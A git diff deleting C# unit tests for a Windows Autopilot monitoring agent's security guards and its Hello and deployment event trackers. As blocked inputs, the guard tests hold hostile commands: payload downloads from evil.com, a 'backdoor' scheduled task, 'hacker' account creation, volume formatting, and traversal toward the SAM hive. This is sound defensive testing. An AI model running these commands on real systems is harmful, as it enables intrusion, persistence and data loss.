a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Collectors/DiagnosticsPathGuardsTests.cs b/src/Agent/AutopilotMonitor.Agent.Core.Tests/Collectors/DiagnosticsPathGuardsTests.cs deleted file mode 100644 index 571007b3..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Collectors/DiagnosticsPathGuardsTests.cs +++ /dev/null @@ -1,130 +0,0 @@ -using AutopilotMonitor.Agent.Core.Monitoring.Telemetry.Gather; -using Xunit; - -namespace AutopilotMonitor.Agent.Core.Tests.Collectors -{ - /// - /// Tests path validation for diagnostics log collection. - /// Prevents: path traversal, privacy leaks via C:\Users, SAM hive exfiltration. - /// - public class DiagnosticsPathGuardsTests - { - // -- Allowed paths -- - - [Fact] - public void IsDiagnosticsPathAllowed_AutopilotMonitorLogs_True() - { - var result = DiagnosticsPathGuards.IsDiagnosticsPathAllowed( - @"C:\ProgramData\AutopilotMonitor\Logs\agent.log"); - - Assert.True(result); - } - - [Fact] - public void IsDiagnosticsPathAllowed_ImeLogs_True() - { - var result = DiagnosticsPathGuards.IsDiagnosticsPathAllowed( - @"C:\ProgramData\Microsoft\IntuneManagementExtension\Logs\IntuneManagementExtension.log"); - - Assert.True(result); - } - - [Fact] - public void IsDiagnosticsPathAllowed_WindowsPanther_True() - { - var result = DiagnosticsPathGuards.IsDiagnosticsPathAllowed( - @"C:\Windows\Panther\setupact.log"); - - Assert.True(result); - } - - // -- Hard-blocked paths -- - - [Fact] - public void IsDiagnosticsPathAllowed_UsersDir_AlwaysBlocked() - { - // Must be blocked even in unrestricted mode (privacy protection) - var result = DiagnosticsPathGuards.IsDiagnosticsPathAllowed( - @"C:\Users\admin\Documents\secret.docx", unrestrictedMode: true); - - Assert.False(result); - } - - [Fact] - public void IsDiagnosticsPathAllowed_SystemConfig_Blocked() - { - // SAM, SECURITY, SYSTEM hives must always be blocked - var result = DiagnosticsPathGuards.IsDiagnosticsPathAllowed( - @"C:\Windows\System32\config\SAM", unrestrictedMode: true); - - Assert.False(result); - } - - // -- Path traversal -- - - [Fact] - public void IsDiagnosticsPathAllowed_Traversal_Blocked() - { - // Traversal via ".." after allowed prefix must be caught by GetFullPath normalization - var result = DiagnosticsPathGuards.IsDiagnosticsPathAllowed( - @"C:\ProgramData\AutopilotMonitor\..\..\Users\admin\file.txt"); - - Assert.False(result); - } - - [Fact] - public void IsDiagnosticsPathAllowed_EnvironmentVariable_Expanded() - { - // %ProgramData% should expand to C:\ProgramData - var result = DiagnosticsPathGuards.IsDiagnosticsPathAllowed( - @"%ProgramData%\AutopilotMonitor\Logs\agent.log"); - - Assert.True(result); - } - - // -- Edge cases -- - - [Fact] - public void IsDiagnosticsPathAllowed_WhitespaceOnly_Blocked() - { - Assert.False(DiagnosticsPathGuards.IsDiagnosticsPathAllowed(" ")); - } - - [Fact] - public void IsDiagnosticsPathAllowed_NullOrEmpty_Blocked() - { - Assert.False(DiagnosticsPathGuards.IsDiagnosticsPathAllowed(null)); - Assert.False(DiagnosticsPathGuards.IsDiagnosticsPathAllowed("")); - } - - [Fact] - public void IsDiagnosticsPathAllowed_WildcardInFilename_Allowed() - { - // Wildcards in the last path segment should be supported - var result = DiagnosticsPathGuards.IsDiagnosticsPathAllowed( - @"C:\ProgramData\AutopilotMonitor\Logs\*.log"); - - Assert.True(result); - } - - [Fact] - public void IsDiagnosticsPathAllowed_UnrestrictedMode_AllowsNonBlocked() - { - // In unrestricted mode, non-hard-blocked paths should be allowed - var result = DiagnosticsPathGuards.IsDiagnosticsPathAllowed( - @"C:\SomeRandomDir\logs\file.txt", unrestrictedMode: true); - - Assert.True(result); - } - - [Fact] - public void IsDiagnosticsPathAllowed_UnallowedDir_Blocked() - { - // Random directory not in allowlist should be blocked in normal mode - var result = DiagnosticsPathGuards.IsDiagnosticsPathAllowed( - @"C:\SomeRandomDir\logs\file.txt"); - - Assert.False(result); - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Collectors/GatherRuleGuardsTests.cs b/src/Agent/AutopilotMonitor.Agent.Core.Tests/Collectors/GatherRuleGuardsTests.cs deleted file mode 100644 index 57e03038..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Collectors/GatherRuleGuardsTests.cs +++ /dev/null @@ -1,203 +0,0 @@ -using AutopilotMonitor.Agent.Core.Monitoring.Telemetry.Gather; -using Xunit; - -namespace AutopilotMonitor.Agent.Core.Tests.Collectors -{ - /// - /// Tests security guards for remote gather rules. - /// Prevents: path traversal, prefix spoofing, command injection, privacy leaks. - /// Critical: segment-bounded matching ensures SOFTWARE\MicrosoftEvil doesn't match SOFTWARE\Microsoft. - /// - public class GatherRuleGuardsTests - { - // -- Registry path guards -- - - [Fact] - public void IsRegistryPathAllowed_KnownPrefix_True() - { - // SOFTWARE\Microsoft\Enrollments is a known allowed prefix from guardrails.json - var result = GatherRuleGuards.IsRegistryPathAllowed( - @"SOFTWARE\Microsoft\Enrollments\{some-guid}\FirstSync"); - - Assert.True(result); - } - - [Fact] - public void IsRegistryPathAllowed_ExactPrefixMatch_True() - { - // Exact match on prefix (no trailing segment) - var result = GatherRuleGuards.IsRegistryPathAllowed(@"SOFTWARE\Microsoft\Enrollments"); - - Assert.True(result); - } - - [Fact] - public void IsRegistryPathAllowed_SegmentBounded_BlocksSpoofing() - { - // SOFTWARE\Microsoft\EnrollmentsEvil must NOT match SOFTWARE\Microsoft\Enrollments - // because the character after "Enrollments" is 'E', not '\' - var result = GatherRuleGuards.IsRegistryPathAllowed(@"SOFTWARE\Microsoft\EnrollmentsEvil\Backdoor"); - - Assert.False(result); - } - - [Fact] - public void IsRegistryPathAllowed_UnrestrictedMode_AllAllowed() - { - var result = GatherRuleGuards.IsRegistryPathAllowed( - @"SOME\RANDOM\PATH", unrestrictedMode: true); - - Assert.True(result); - } - - [Fact] - public void IsRegistryPathAllowed_EmptyPath_False() - { - Assert.False(GatherRuleGuards.IsRegistryPathAllowed(null)); - Assert.False(GatherRuleGuards.IsRegistryPathAllowed("")); - } - - // -- File path guards -- - - [Fact] - public void IsFilePathAllowed_DirectoryTraversal_Blocked() - { - // Path normalization via GetFullPath should catch ".." traversal - var result = GatherRuleGuards.IsFilePathAllowed( - @"C:\ProgramData\Microsoft\IntuneManagementExtension\..\..\..\..\Users\admin\secrets.txt"); - - Assert.False(result); - } - - [Fact] - public void IsFilePathAllowed_UsersDir_AlwaysBlocked() - { - // C:\Users must be blocked even in unrestricted mode (privacy protection) - var result = GatherRuleGuards.IsFilePathAllowed( - @"C:\Users\admin\Documents\file.txt", unrestrictedMode: true); - - Assert.False(result); - } - - [Fact] - public void IsFilePathAllowed_SystemConfig_AlwaysBlocked() - { - // SAM/SECURITY hives must always be blocked - var result = GatherRuleGuards.IsFilePathAllowed( - @"C:\Windows\System32\config\SAM", unrestrictedMode: true); - - Assert.False(result); - } - - [Fact] - public void IsFilePathAllowed_EmptyPath_False() - { - Assert.False(GatherRuleGuards.IsFilePathAllowed(null)); - Assert.False(GatherRuleGuards.IsFilePathAllowed("")); - } - - // -- Command guards -- - - [Fact] - public void IsCommandAllowed_HardBlocked_EvenUnrestricted() - { - // Download commands must be blocked regardless of unrestricted mode - Assert.False(GatherRuleGuards.IsCommandAllowed( - "Invoke-WebRequest http://evil.com/payload.exe", unrestrictedMode: true)); - - Assert.False(GatherRuleGuards.IsCommandAllowed( - "Invoke-RestMethod http://evil.com/api", unrestrictedMode: true)); - - Assert.False(GatherRuleGuards.IsCommandAllowed( - "certutil -urlcache -split -f http://evil.com/payload.exe", unrestrictedMode: true)); - } - - [Fact] - public void IsCommandAllowed_PersistenceMechanisms_Blocked() - { - Assert.False(GatherRuleGuards.IsCommandAllowed( - "schtasks /create /tn backdoor /tr evil.exe", unrestrictedMode: true)); - - Assert.False(GatherRuleGuards.IsCommandAllowed( - "Register-ScheduledTask -TaskName backdoor", unrestrictedMode: true)); - } - - [Fact] - public void IsCommandAllowed_UserManipulation_Blocked() - { - Assert.False(GatherRuleGuards.IsCommandAllowed( - "New-LocalUser -Name hacker -NoPassword", unrestrictedMode: true)); - - Assert.False(GatherRuleGuards.IsCommandAllowed( - "net user hacker password123 /add", unrestrictedMode: true)); - } - - [Fact] - public void IsCommandAllowed_MaxLength_Blocked() - { - var longCommand = new string('A', 2001); - - Assert.False(GatherRuleGuards.IsCommandAllowed(longCommand, unrestrictedMode: true)); - } - - [Fact] - public void IsCommandAllowed_ExactMaxLength_Allowed() - { - // Exactly 2000 chars should pass the length check (blocked by allowlist, but not by length) - var exactCommand = new string('A', 2000); - - // Won't be in allowlist, but should NOT be blocked by length guard - // In unrestricted mode, should be allowed (passes both length and hard-block checks) - Assert.True(GatherRuleGuards.IsCommandAllowed(exactCommand, unrestrictedMode: true)); - } - - [Fact] - public void IsCommandAllowed_EmptyCommand_False() - { - Assert.False(GatherRuleGuards.IsCommandAllowed(null)); - Assert.False(GatherRuleGuards.IsCommandAllowed("")); - } - - [Fact] - public void IsCommandAllowed_DestructiveOps_Blocked() - { - Assert.False(GatherRuleGuards.IsCommandAllowed( - "Remove-Item -Recurse C:\\ImportantData", unrestrictedMode: true)); - - Assert.False(GatherRuleGuards.IsCommandAllowed( - "Format-Volume -DriveLetter C", unrestrictedMode: true)); - } - - // -- WMI query guards -- - - [Fact] - public void IsWmiQueryAllowed_WhitespaceBoundary() - { - // "Win32_OperatingSystemXXX" must NOT match "SELECT * FROM Win32_OperatingSystem" - // because after the class name there must be whitespace or end of string - var allowed = GatherRuleGuards.IsWmiQueryAllowed("SELECT * FROM Win32_OperatingSystem"); - var spoofed = GatherRuleGuards.IsWmiQueryAllowed("SELECT * FROM Win32_OperatingSystemXXX"); - - // The allowed query should be allowed if it's in the guardrails - // The spoofed query must NOT be allowed (boundary check) - if (allowed) // Only test spoofing if the base query is allowed - Assert.False(spoofed); - } - - [Fact] - public void IsWmiQueryAllowed_UnrestrictedMode_AllAllowed() - { - var result = GatherRuleGuards.IsWmiQueryAllowed( - "SELECT * FROM SomeRandomClass", unrestrictedMode: true); - - Assert.True(result); - } - - [Fact] - public void IsWmiQueryAllowed_EmptyQuery_False() - { - Assert.False(GatherRuleGuards.IsWmiQueryAllowed(null)); - Assert.False(GatherRuleGuards.IsWmiQueryAllowed("")); - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Collectors/HelloTrackerTests.cs b/src/Agent/AutopilotMonitor.Agent.Core.Tests/Collectors/HelloTrackerTests.cs deleted file mode 100644 index 14b178a1..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Collectors/HelloTrackerTests.cs +++ /dev/null @@ -1,448 +0,0 @@ -using System; -using System.Collections.Concurrent; -using System.Collections.Generic; -using System.Linq; -using AutopilotMonitor.Agent.Core.Tests.Helpers; -using AutopilotMonitor.Shared.Models; -using Xunit; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion; - -namespace AutopilotMonitor.Agent.Core.Tests.Collectors -{ - /// - /// Tests for . Drives event processing via the internal - /// ProcessHelloEvent / ProcessHelloForBusinessEvent seams (EventLogWatcher is Windows-only - /// and not mocked) and timers via TriggerWait/CompletionTimeoutForTest to stay deterministic. - /// - public sealed class HelloTrackerTests - { - private readonly ConcurrentBag _captured = new ConcurrentBag(); - private int _helloCompletedInvocations; - - private HelloTracker CreateTracker(int helloWaitTimeoutSeconds = 30) - { - var tracker = new HelloTracker( - sessionId: "sess-1", - tenantId: "tenant-1", - onEventCollected: e => _captured.Add(e), - logger: TestLogger.Instance, - helloWaitTimeoutSeconds: helloWaitTimeoutSeconds); - tracker.HelloCompleted += (_, __) => System.Threading.Interlocked.Increment(ref _helloCompletedInvocations); - return tracker; - } - - private List Captured => _captured.ToList(); - private EnrollmentEvent Last(string eventType) => Captured.LastOrDefault(e => e.EventType == eventType); - - // ===================================================================== - // UDR terminal events (300 / 301 / 362) - // ===================================================================== - - [Fact] - public void ProcessHelloEvent_300_MarksCompletedAndFiresEvent() - { - var t = CreateTracker(); - - t.ProcessHelloEvent(300, DateTime.UtcNow, "WinHelloForBusinessCsp", isBackfill: false); - - Assert.True(t.IsHelloCompleted); - Assert.Equal("completed", t.HelloOutcome); - Assert.Equal(1, _helloCompletedInvocations); - var evt = Last("hello_provisioning_completed"); - Assert.NotNull(evt); - Assert.Equal(EventSeverity.Info, evt.Severity); - Assert.True(evt.ImmediateUpload); - } - - [Fact] - public void ProcessHelloEvent_301_MarksCompletedWithFailedEventType() - { - var t = CreateTracker(); - - t.ProcessHelloEvent(301, DateTime.UtcNow, "WinHelloForBusinessCsp", isBackfill: false); - - Assert.True(t.IsHelloCompleted); - Assert.Equal("completed", t.HelloOutcome); - Assert.Equal(1, _helloCompletedInvocations); - var evt = Last("hello_provisioning_failed"); - Assert.NotNull(evt); - Assert.Equal(EventSeverity.Error, evt.Severity); - Assert.True(evt.ImmediateUpload); - } - - [Fact] - public void ProcessHelloEvent_362_MarksCompletedAsBlocked() - { - var t = CreateTracker(); - - t.ProcessHelloEvent(362, DateTime.UtcNow, "prov", false); - - Assert.True(t.IsHelloCompleted); - Assert.Equal(1, _helloCompletedInvocations); - var evt = Last("hello_provisioning_blocked"); - Assert.NotNull(evt); - Assert.Equal(EventSeverity.Warning, evt.Severity); - } - - [Fact] - public void ProcessHelloEvent_360_IsSnapshotOnly_DoesNotMarkCompleted() - { - var t = CreateTracker(); - - t.ProcessHelloEvent(360, DateTime.UtcNow, "prov", false); - - Assert.False(t.IsHelloCompleted); - Assert.Null(t.HelloOutcome); - Assert.Equal(0, _helloCompletedInvocations); - Assert.NotNull(Last("hello_provisioning_willnotlaunch")); - } - - [Fact] - public void ProcessHelloEvent_358_EmitsWillLaunch_NoCompletion() - { - var t = CreateTracker(); - - t.ProcessHelloEvent(358, DateTime.UtcNow, "prov", false); - - Assert.False(t.IsHelloCompleted); - Assert.Equal(0, _helloCompletedInvocations); - Assert.NotNull(Last("hello_provisioning_willlaunch")); - } - - [Fact] - public void ProcessHelloEvent_DuplicateTerminal_DoesNotRefireHelloCompleted() - { - var t = CreateTracker(); - - t.ProcessHelloEvent(300, DateTime.UtcNow, "prov", false); - t.ProcessHelloEvent(301, DateTime.UtcNow.AddSeconds(1), "prov", false); - - Assert.Equal(1, _helloCompletedInvocations); // second call sees _isHelloCompleted=true - } - - [Fact] - public void ProcessHelloEvent_BackfillFlag_AddedToData() - { - var t = CreateTracker(); - - t.ProcessHelloEvent(300, DateTime.UtcNow, "prov", isBackfill: true); - - var evt = Last("hello_provisioning_completed"); - Assert.True(evt.Data.ContainsKey("backfill")); - Assert.Equal(true, evt.Data["backfill"]); - } - - // ===================================================================== - // HelloForBusiness events (3024 / 6045) - // ===================================================================== - - [Fact] - public void ProcessHelloForBusinessEvent_3024_EmitsProcessingStarted_NoCompletion() - { - var t = CreateTracker(); - - t.ProcessHelloForBusinessEvent(3024, DateTime.UtcNow, "Hello processing started", "provider", false); - - Assert.False(t.IsHelloCompleted); - Assert.Equal(0, _helloCompletedInvocations); - Assert.NotNull(Last("hello_processing_started")); - } - - [Fact] - public void ProcessHelloForBusinessEvent_6045_WithUserSkipHResult_MarksSkipped() - { - var t = CreateTracker(); - - t.ProcessHelloForBusinessEvent( - 6045, DateTime.UtcNow, - "User cancelled Hello for Business: HRESULT 0x801C044F", - "provider", false); - - Assert.True(t.IsHelloCompleted); - Assert.Equal("skipped", t.HelloOutcome); - Assert.Equal(1, _helloCompletedInvocations); - var evt = Last("hello_skipped"); - Assert.NotNull(evt); - Assert.Equal(EventSeverity.Warning, evt.Severity); - Assert.Equal("0x801C044F", evt.Data["hresult"]); - } - - [Fact] - public void ProcessHelloForBusinessEvent_6045_WithOtherHResult_DoesNotMarkCompleted() - { - var t = CreateTracker(); - - t.ProcessHelloForBusinessEvent( - 6045, DateTime.UtcNow, - "Hello processing stopped: HRESULT 0x80070005", - "provider", false); - - Assert.False(t.IsHelloCompleted); - Assert.Equal(0, _helloCompletedInvocations); - Assert.NotNull(Last("hello_processing_stopped")); - } - - [Fact] - public void ExtractHResultFromDescription_MatchesValidHex() - { - Assert.Equal("0x801C044F", - HelloTracker.ExtractHResultFromDescription("something HRESULT 0x801C044F tail")); - Assert.Null(HelloTracker.ExtractHResultFromDescription("no hresult here")); - Assert.Null(HelloTracker.ExtractHResultFromDescription(null)); - Assert.Null(HelloTracker.ExtractHResultFromDescription("")); - } - - // ===================================================================== - // Wait timer — policy-enabled path (extend to completion timer) - // ===================================================================== - - [Fact] - public void WaitTimeout_WithPolicyEnabled_EmitsExtendedWaitAndArmsCompletionTimer() - { - var t = CreateTracker(); - t.SetPolicyForTest(helloEnabled: true, source: "GPO"); - t.StartHelloWaitTimer(); - - t.TriggerWaitTimeoutForTest(); - - Assert.False(t.IsHelloCompleted); - Assert.Equal(0, _helloCompletedInvocations); - Assert.True(t.IsCompletionTimerActiveForTest); - var evt = Last("hello_wait_timeout"); - Assert.NotNull(evt); - Assert.Equal("extended_wait", evt.Data["action"]); - Assert.Equal(true, evt.Data["helloPolicyEnabled"]); - } - - // ===================================================================== - // Wait timer — policy-disabled path (immediate completion) - // ===================================================================== - - [Fact] - public void WaitTimeout_WithoutPolicyConfigured_MarksNotConfiguredAndFiresCompleted() - { - var t = CreateTracker(); - t.StartHelloWaitTimer(); - - t.TriggerWaitTimeoutForTest(); - - Assert.True(t.IsHelloCompleted); - Assert.Equal("not_configured", t.HelloOutcome); - Assert.Equal(1, _helloCompletedInvocations); - var evt = Last("hello_wait_timeout"); - Assert.NotNull(evt); - Assert.Equal("enrollment_complete", evt.Data["action"]); - } - - [Fact] - public void WaitTimeout_WithPolicyDetectedAsDisabled_MarksNotConfigured() - { - var t = CreateTracker(); - t.SetPolicyForTest(helloEnabled: false, source: "GPO"); - t.StartHelloWaitTimer(); - - t.TriggerWaitTimeoutForTest(); - - Assert.True(t.IsHelloCompleted); - Assert.Equal("not_configured", t.HelloOutcome); - Assert.Equal(1, _helloCompletedInvocations); - } - - [Fact] - public void WaitTimeout_AfterWizardStarted_IsIgnored() - { - var t = CreateTracker(); - t.NotifyHelloWizardStarted(); - - t.TriggerWaitTimeoutForTest(); - - Assert.False(t.IsHelloCompleted); - Assert.Equal(0, _helloCompletedInvocations); - } - - [Fact] - public void WaitTimeout_AfterHelloAlreadyCompleted_IsIgnored() - { - var t = CreateTracker(); - t.ProcessHelloEvent(300, DateTime.UtcNow, "prov", false); - var initialCount = _helloCompletedInvocations; - - t.TriggerWaitTimeoutForTest(); - - Assert.Equal(initialCount, _helloCompletedInvocations); - } - - // ===================================================================== - // Completion timer - // ===================================================================== - - [Fact] - public void CompletionTimeout_AfterWizardStart_MarksTimeout() - { - var t = CreateTracker(); - t.NotifyHelloWizardStarted(); - - t.TriggerCompletionTimeoutForTest(); - - Assert.True(t.IsHelloCompleted); - Assert.Equal("timeout", t.HelloOutcome); - Assert.Equal(1, _helloCompletedInvocations); - Assert.NotNull(Last("hello_completion_timeout")); - } - - [Fact] - public void CompletionTimeout_WithoutWizardStart_MarksWizardNotStarted() - { - var t = CreateTracker(); - - t.TriggerCompletionTimeoutForTest(); - - Assert.True(t.IsHelloCompleted); - Assert.Equal("wizard_not_started", t.HelloOutcome); - } - - // ===================================================================== - // Cross-boundary notifications - // ===================================================================== - - [Fact] - public void NotifyHelloWizardStarted_StopsWaitTimer_StartsCompletionTimer() - { - var t = CreateTracker(); - t.StartHelloWaitTimer(); - Assert.True(t.IsWaitTimerActiveForTest); - - t.NotifyHelloWizardStarted(); - - Assert.False(t.IsWaitTimerActiveForTest); - Assert.True(t.IsCompletionTimerActiveForTest); - Assert.True(t.IsHelloWizardStartedForTest); - } - - [Fact] - public void NotifyHelloWizardStarted_Idempotent() - { - var t = CreateTracker(); - - t.NotifyHelloWizardStarted(); - t.NotifyHelloWizardStarted(); - - Assert.True(t.IsHelloWizardStartedForTest); - } - - [Fact] - public void NotifyEspExited_PopulatedIntoWaitTimeoutDataField() - { - var t = CreateTracker(); - t.NotifyEspExited(); - t.StartHelloWaitTimer(); - - t.TriggerWaitTimeoutForTest(); - - var evt = Last("hello_wait_timeout"); - Assert.Equal(true, evt.Data["espExitDetected"]); - } - - // ===================================================================== - // External coordination API - // ===================================================================== - - [Fact] - public void ForceMarkHelloCompleted_SetsOutcome_DoesNotFireEvent() - { - var t = CreateTracker(); - - t.ForceMarkHelloCompleted("device_only_timeout"); - - Assert.True(t.IsHelloCompleted); - Assert.Equal("device_only_timeout", t.HelloOutcome); - Assert.Equal(0, _helloCompletedInvocations); // Force does NOT invoke callback - } - - [Fact] - public void ForceMarkHelloCompleted_WhenAlreadyCompleted_IsNoOp() - { - var t = CreateTracker(); - t.ProcessHelloEvent(300, DateTime.UtcNow, "prov", false); - var initialOutcome = t.HelloOutcome; - - t.ForceMarkHelloCompleted("override_attempt"); - - Assert.Equal(initialOutcome, t.HelloOutcome); // No override once terminal - } - - [Fact] - public void ResetForEspResumption_ClearsAllHelloStateAndOutcome() - { - var t = CreateTracker(); - t.NotifyHelloWizardStarted(); - t.NotifyEspExited(); - t.ProcessHelloEvent(300, DateTime.UtcNow, "prov", false); - Assert.True(t.IsHelloCompleted); - - t.ResetForEspResumption(); - - Assert.False(t.IsHelloCompleted); - Assert.Null(t.HelloOutcome); - Assert.False(t.IsHelloWizardStartedForTest); - Assert.False(t.IsWaitTimerActiveForTest); - Assert.False(t.IsCompletionTimerActiveForTest); - } - - [Fact] - public void StartHelloWaitTimer_WhenAlreadyCompleted_IsNoOp() - { - var t = CreateTracker(); - t.ProcessHelloEvent(300, DateTime.UtcNow, "prov", false); - - t.StartHelloWaitTimer(); - - Assert.False(t.IsWaitTimerActiveForTest); - } - - [Fact] - public void StartHelloWaitTimer_WhenWizardAlreadyStarted_IsNoOp() - { - var t = CreateTracker(); - t.NotifyHelloWizardStarted(); - - t.StartHelloWaitTimer(); - - Assert.False(t.IsWaitTimerActiveForTest); - } - - [Fact] - public void StartHelloWaitTimer_CalledTwice_DoesNotStartSecondTimer() - { - var t = CreateTracker(); - t.StartHelloWaitTimer(); - Assert.True(t.IsWaitTimerActiveForTest); - - t.StartHelloWaitTimer(); // no-op - - Assert.True(t.IsWaitTimerActiveForTest); - } - - // ===================================================================== - // Policy detection emission - // ===================================================================== - - [Fact] - public void SetPolicyForTest_Enabled_EmitsPolicyDetectedEvent() - { - var t = CreateTracker(); - - t.SetPolicyForTest(helloEnabled: true, source: "CSP/Intune (device-scoped)"); - - Assert.True(t.IsPolicyConfigured); - var evt = Last("hello_policy_detected"); - Assert.NotNull(evt); - Assert.Equal(true, evt.Data["helloEnabled"]); - Assert.Equal("CSP/Intune (device-scoped)", evt.Data["policySource"]); - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Collectors/ModernDeploymentTrackerTests.cs b/src/Agent/AutopilotMonitor.Agent.Core.Tests/Collectors/ModernDeploymentTrackerTests.cs deleted file mode 100644 index 21818ed7..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Collectors/ModernDeploymentTrackerTests.cs +++ /dev/null @@ -1,415 +0,0 @@ -using System; -using System.Collections.Concurrent; -using System.Collections.Generic; -using System.IO; -using AutopilotMonitor.Agent.Core.Tests.Helpers; -using AutopilotMonitor.Shared; -using AutopilotMonitor.Shared.Models; -using Newtonsoft.Json; -using Xunit; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion; - -namespace AutopilotMonitor.Agent.Core.Tests.Collectors -{ - /// - /// Tests for . Drives the ProcessEvent pipeline via - /// primitive inputs (EventRecord is abstract and Windows-only, so tests don't synthesise it). - /// Covers: level → event-type mapping, harmless-warning downgrade, WhiteGlove fire-once, - /// WhiteGlove keyword guard, cross-restart dedup via persisted state. - /// - public sealed class ModernDeploymentTrackerTests : IDisposable - { - private readonly string _tempDir; - private readonly ConcurrentBag _captured; - - public ModernDeploymentTrackerTests() - { - _tempDir = Path.Combine(Path.GetTempPath(), "mdt-test-" + Guid.NewGuid().ToString("N")); - Directory.CreateDirectory(_tempDir); - _captured = new ConcurrentBag(); - } - - public void Dispose() - { - try { if (Directory.Exists(_tempDir)) Directory.Delete(_tempDir, recursive: true); } - catch { /* best-effort */ } - } - - private ModernDeploymentTracker CreateTracker(string stateDirectory = null, int[] harmlessEventIds = null) - { - return new ModernDeploymentTracker( - sessionId: "sess-1", - tenantId: "tenant-1", - onEventCollected: e => _captured.Add(e), - logger: TestLogger.Instance, - logLevelMax: 3, - backfillEnabled: true, - backfillLookbackMinutes: 30, - stateDirectory: stateDirectory, - harmlessEventIds: harmlessEventIds); - } - - private List GetCaptured() => new List(_captured); - - // ========== Level → EventType mapping ========== - - [Fact] - public void ProcessEvent_Level1_MappedToError() - { - var tracker = CreateTracker(); - - tracker.ProcessEvent( - eventId: 42, level: 1, levelDisplayName: "Critical", providerName: "prov", - timeCreatedUtc: DateTime.UtcNow, formattedDescription: "Boom", - shortName: "Autopilot", channelName: ModernDeploymentTracker.AutopilotChannel, - isBackfill: false); - - var evt = Assert.Single(GetCaptured()); - Assert.Equal(Constants.EventTypes.ModernDeploymentError, evt.EventType); - Assert.Equal(EventSeverity.Error, evt.Severity); - Assert.Equal("ModernDeploymentWatcher", evt.Source); - Assert.Equal(EnrollmentPhase.Unknown, evt.Phase); - } - - [Fact] - public void ProcessEvent_Level2_MappedToError() - { - var tracker = CreateTracker(); - - tracker.ProcessEvent(42, 2, "Error", "prov", DateTime.UtcNow, "msg", - "Autopilot", ModernDeploymentTracker.AutopilotChannel, false); - - Assert.Equal(Constants.EventTypes.ModernDeploymentError, Assert.Single(GetCaptured()).EventType); - } - - [Fact] - public void ProcessEvent_Level3_MappedToWarning() - { - var tracker = CreateTracker(); - - tracker.ProcessEvent(42, 3, "Warning", "prov", DateTime.UtcNow, "msg", - "Autopilot", ModernDeploymentTracker.AutopilotChannel, false); - - var evt = Assert.Single(GetCaptured()); - Assert.Equal(Constants.EventTypes.ModernDeploymentWarning, evt.EventType); - Assert.Equal(EventSeverity.Warning, evt.Severity); - } - - [Fact] - public void ProcessEvent_Level4_MappedToInfoLog() - { - var tracker = CreateTracker(); - - tracker.ProcessEvent(42, 4, "Information", "prov", DateTime.UtcNow, "msg", - "Autopilot", ModernDeploymentTracker.AutopilotChannel, false); - - var evt = Assert.Single(GetCaptured()); - Assert.Equal(Constants.EventTypes.ModernDeploymentLog, evt.EventType); - Assert.Equal(EventSeverity.Info, evt.Severity); - } - - [Fact] - public void ProcessEvent_NullLevel_DefaultsToInfoLog() - { - var tracker = CreateTracker(); - - tracker.ProcessEvent(42, null, null, null, DateTime.UtcNow, "msg", - "Autopilot", ModernDeploymentTracker.AutopilotChannel, false); - - Assert.Equal(Constants.EventTypes.ModernDeploymentLog, Assert.Single(GetCaptured()).EventType); - } - - // ========== Harmless warning downgrade (Event 100, Level 3) ========== - - [Fact] - public void ProcessEvent_EventId100Level3_DowngradedToDebugLog() - { - var tracker = CreateTracker(); - - tracker.ProcessEvent(100, 3, "Warning", "prov", DateTime.UtcNow, - "Autopilot policy not found", - "Autopilot", ModernDeploymentTracker.AutopilotChannel, false); - - var evt = Assert.Single(GetCaptured()); - Assert.Equal(Constants.EventTypes.ModernDeploymentLog, evt.EventType); - Assert.Equal(EventSeverity.Debug, evt.Severity); - } - - [Fact] - public void ProcessEvent_EventId100Level2_DowngradedToDebugLog() - { - var tracker = CreateTracker(); - - tracker.ProcessEvent(100, 2, "Error", "prov", DateTime.UtcNow, "msg", - "Autopilot", ModernDeploymentTracker.AutopilotChannel, false); - - var evt = Assert.Single(GetCaptured()); - Assert.Equal(Constants.EventTypes.ModernDeploymentLog, evt.EventType); - Assert.Equal(EventSeverity.Debug, evt.Severity); - } - - [Fact] - public void ProcessEvent_EventId100Level1Critical_NeverDowngraded() - { - var tracker = CreateTracker(); - - tracker.ProcessEvent(100, 1, "Critical", "prov", DateTime.UtcNow, "msg", - "Autopilot", ModernDeploymentTracker.AutopilotChannel, false); - - var evt = Assert.Single(GetCaptured()); - Assert.Equal(Constants.EventTypes.ModernDeploymentError, evt.EventType); - Assert.Equal(EventSeverity.Error, evt.Severity); - } - - [Fact] - public void ProcessEvent_DefaultHarmlessList_IncludesEventId1005() - { - var tracker = CreateTracker(); - - tracker.ProcessEvent(1005, 3, "Warning", "prov", DateTime.UtcNow, "noisy", - "Autopilot", ModernDeploymentTracker.AutopilotChannel, false); - - var evt = Assert.Single(GetCaptured()); - Assert.Equal(Constants.EventTypes.ModernDeploymentLog, evt.EventType); - Assert.Equal(EventSeverity.Debug, evt.Severity); - } - - [Fact] - public void ProcessEvent_CustomHarmlessList_OverridesDefaults() - { - var tracker = CreateTracker(harmlessEventIds: new[] { 4242 }); - - // 100 is NOT in the custom list → stays Warning - tracker.ProcessEvent(100, 3, "Warning", "prov", DateTime.UtcNow, "msg", - "Autopilot", ModernDeploymentTracker.AutopilotChannel, false); - // 4242 IS in the custom list → downgraded - tracker.ProcessEvent(4242, 3, "Warning", "prov", DateTime.UtcNow, "msg", - "Autopilot", ModernDeploymentTracker.AutopilotChannel, false); - - var events = GetCaptured(); - Assert.Equal(2, events.Count); - Assert.Contains(events, e => e.Data != null && 